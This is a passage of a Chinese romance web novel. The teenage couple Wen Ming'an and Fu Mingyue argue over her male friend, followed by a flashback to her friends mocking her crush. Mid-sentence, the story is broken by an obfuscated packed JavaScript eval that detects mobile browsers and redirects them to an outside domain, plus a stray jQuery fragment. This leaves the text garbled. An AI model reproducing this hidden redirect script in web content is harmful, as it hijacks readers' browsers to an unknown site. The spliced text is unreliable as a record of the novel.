温明安送别了那女孩,在折返回来的路上遇上了傅明月。
傅明月就站在不远处,冷冷地看着他,手里专程为他买来的蛋糕也气得险些砸在他脸上了,但还是忍住了。
她气得胸口上下起伏着,心里充斥着愤怒和扭曲,她气急败坏地指着那已然从道路尽头消失的公交车质问着他,“温明安,你到底什么意思?她又是谁?”
还是傍晚六七点,天色将晚未晚,斜阳照进那老旧褪色的公交车站上,好似铺上了一层金色的轻纱,把少年高大的身影拉得长长的,依然沉默寡淡,是那金色里生出最浅淡的一笔。
温明安意外于她的出现,神色稍稍惊讶了一下,他穿了一身最简单的白T搭校服裤,十分从容随意,校服裤宽松,穿在他身上却衬得双腿很长,出门时从家里随便穿出来的衣服,不太讲究。
但年少的男孩身高体阔,穿什么都自有一番气质,像一股清爽的风,他当时双手揣着口袋,打量了她一圈,忽地神色莫名地笑了,“怎么了?”
仍是一副无事发生一样,也不正面回答她的问题。
傅明月怒不可遏,再一次质问他,“我问你那个女生是谁?我全都看见了!”
她实在是无法容忍他如此长时间不曾搭理过她,转头却和其他女生在一起,这么旁若无人,眼下被抓了个正着,还如此冷淡自若,没有半点心虚,半点不把她放在眼里。
愤怒的情绪几近要把傅明月吞噬掉了,她死死地盯着他,问他,“温明安,你现在是想和我分手吗?”
“我们还没分手呢?”她紧抿着唇,一双浅棕色的眸在夕阳下缀着一团灼灼燃烧的火,那簇火从她眼里烧到他身上,好像要把他吞噬干净。
他仍是没有正面回答她的问题,只是道:“那是周明佳的同学。”
周明佳是他同父异母的妹妹。
15岁那年,温明安和周明佳一同被他那无良爹赶出了家门,兄妹俩无处可去,就住在那个狭窄的出租房里,只是周明佳平日里住校,傅明月很少能见到她。
那时他觉得有些好笑,又说她,“傅明月,你到底在气什么,这样的事情你不是已经很熟悉吗?”
这样的事情温明安不止经历过一次,每次都被她以“只是好朋友”为借口搪塞过去,以为这样就能粉饰太平。
傍晚的太阳已经不晒了,傅明月大老远跑来,已经很热了,额上沁出了细细密密的汗珠,那一刻也不知是热的,还是气的,她手里捏着装蛋糕的袋子,生气极了,连同那塑料袋也发出细微的响。
好一会儿,她仍是无力地回上一句,“我们真的只是朋友,你到底要我怎么说你才相信。”
他嗤笑了一声,也回以一句,“那也是周明佳的同学,你又在乱想什么?我也是清白的。”
“我对初中的小女生又能有什么心思?”
“别冤枉我,嗯?”他尾音拉得长长的,语气里分明藏着掩饰不住的嘲讽,“傅明月,事实摆在面前,你自己都不信,还会生气,你又为什么觉得我可以相信,可以容忍。”
“傅明月,我的心胸没那么宽广,我只是要你离他远一点,这有这么难办到吗?你为什么永远都做不到?”他又回到了那个问题上,再一次叩问她,“傅明月,在你心里,到底谁更重要?”
“我知道,在你心里我就是比不上他,所以你舍弃不下他,那么你只能不把我放在眼里。”
“傅明月,人的耐心是有限的,你还想让我退到哪里去?”他一双漆黑的眸显露出了几分锐利的冷色。
这样的问题他已经反复问过许多次了,傅明月有些恼火,她捏紧指尖,试图告诉他,“温明安,你到底明不明白,如果我真的和他有点什么,我根本不可能和你在一起。”
他觉得更好笑了,嘴角勾了勾,“傅明月,你到底是因为什么才和我在一起?你对我的感情有几分真?”
年少一腔赤诚的真心被他这样质疑着,傅明月像被一桶冷水从头浇到脚,透心凉,她唇抖了抖,“温明安,你到底在说什么?我当然是因为喜欢你才和你在一起的。”
他却只是轻轻地“呵”了一声,暮色的晚霞披在他身上,挂了满身的暖,但他的脸色冷冷的,说出的话在顷刻间击碎了她的心,“公主,我现在不相信你喜欢我。”
“除非——”
他顿了顿,唇角翘了翘,脸上挂着温和的笑,给了她一个两难的选择,“从现在开始,你跟他绝交。”
傅明月实在是不懂他为什么一定要她这样选,她甚至不明白这为什么会是一个选择题,而不是一个并列项,她满目不解,“温明安,你到底在想什么,我喜欢的是你,我不喜欢他,你为什么永远都在为难我。”
“傅明月,这对你来说是很难的选择吗?”他静静地凝视着她,“你又为什么永远都让我退让?”
傅明月没说话了,她根本不擅长处理这样复杂的关系,再一次回避了这个问题。
从那以后,他们的关系就已经到了不可挽回的地步,不管如何修复,这段感情总好似一艘千疮百孔的烂船,无论如何费劲去修补,也改变不了它被击沉的命运,只能眼睁睁看着它沉没。
温明安仍是那副冷淡的模样,平日里看似温和包容,骨子里却有些蛮横霸道,他不想她心里有任何人,一定要逼她做出选择,丝毫不顾虑她在其中的处境。
傅明月不想选,他们又一次陷入了僵持中,她粉饰太平一样,仍像过去那样和他好,但他却总是不愿意陪她演下去,依然那样若即若离,让这段关系陷入死局里。
后来的一段时间里,不管傅明月如何主动,都没能让他有半点改变,他好像打算就这么一直下去,直到这段关系油尽灯枯,直到她受不了主动提出分手。
傅明月给他发出去的消息石沉大海,平日里如果不是她刻意截住他,他也没想起来要找她,她若无其事地找机会约他,他总是找着借口推脱。
她后来终于还是受不住了,气急败坏之下,在一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867040|176177||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个放学的下午怒气冲冲地找到他。
那日学校小花园的五角凉亭里开满郁郁葱葱的玫瑰和牡丹,明艳灿烂,美不胜收,在夕阳的余晖下,似一簇又一簇在风中飘摇的火。
碧绿的池水里再也没了锦鲤,被微风吹开浅浅的涟漪,长在池面上的荷花被霞光染得像一朵朵金色的莲。
那是傅明月第一次向他表白的地方。
在初次表白之前,少女朦胧的爱意在心间悄悄萌芽,总是有意无意在学校里追逐着他的身影,身边有朋友敏锐地发现,总是大肆地调侃她,“傅明月,你不会是喜欢温明安吧?”
年少的温明安,纵使成绩在学生里出类拔萃,但也很难赢得傅明月身边朋友的青睐,她们总是看不上他,言语之间多有贬低,傅明月到了嘴边的话在朋友们的嘲笑声中咽了回去。
彼时她心不在焉地听着她们大肆奚落他,面上却嘴硬地否认了,“我怎么可能会喜欢他。”
那夜一行人趁夜出来玩,特意包了个房,来的都是些熟人。
戚筱筱捏着一颗橘子瓣塞进嘴里,也和旁人挤眉弄眼地笑着,“也是,虽然脸不错,成绩也挺好,但也不能当饭吃,明月不可能这么没眼光。”
其他人也点着头,此起彼伏地附和着,而后又说起来谁谁家的成绩更好,颜值也高,从小履历优秀,特长突出,但凡有眼睛的都不可能舍弃同阶层的同龄男孩去喜欢温明安这样的人。
在她朋友们的眼里,喜欢温明安是一件十分没眼光的事情,他这样一个一无所有,只是靠着成绩免学费拿奖学金的穷小子,纵使成绩再优秀,终究还是上不得台面。
喜欢一个穷小子,对她们这样身份的人来说,是一件自甘堕落、引人发笑的事。
温明安这样的人,玩玩可以,唯独不能真地上了心,否则是会沦为他们茶余饭后的笑料。
于是傅明月纵使心里藏着万般的欢喜,也只能装作一副高高在上的模样,努力让自己看起来根本看不上他,好让自己也不至于沦为一场笑话。
后来身边有人和她有了龃龉,在一次夜里的聚会里,借着做游戏的幌子,逮着她针对,故意要她难看。
当时傅明月百般避开,但游戏还是输了几局,落入那人手里,她便在众目睽睽之下,嬉笑着地对傅明月说,开玩笑一样,“傅明月,听说你喜欢温明安,要不试试把他追到手?”
戚筱筱和傅明月是在小学时就认识的,几乎是除了谢启琛之外关系最亲近的人,那人与她为难,戚筱筱当即跳了出来和那人作对,“你什么意思?”
“我没什么意思。”
女孩伸手捋了捋坠落在地上的白色裙摆,一派无辜的模样,又故意煽风点火,“温明安长得也不赖,我这不是听说她喜欢温明安,想帮她一把吗?”
装作一副为她好的模样,言语间都是嘲讽。
她端详着傅明月好一会儿,又笑了,“说起来,明月好像也没谈过恋爱,该不会是没经验,追不上吧?”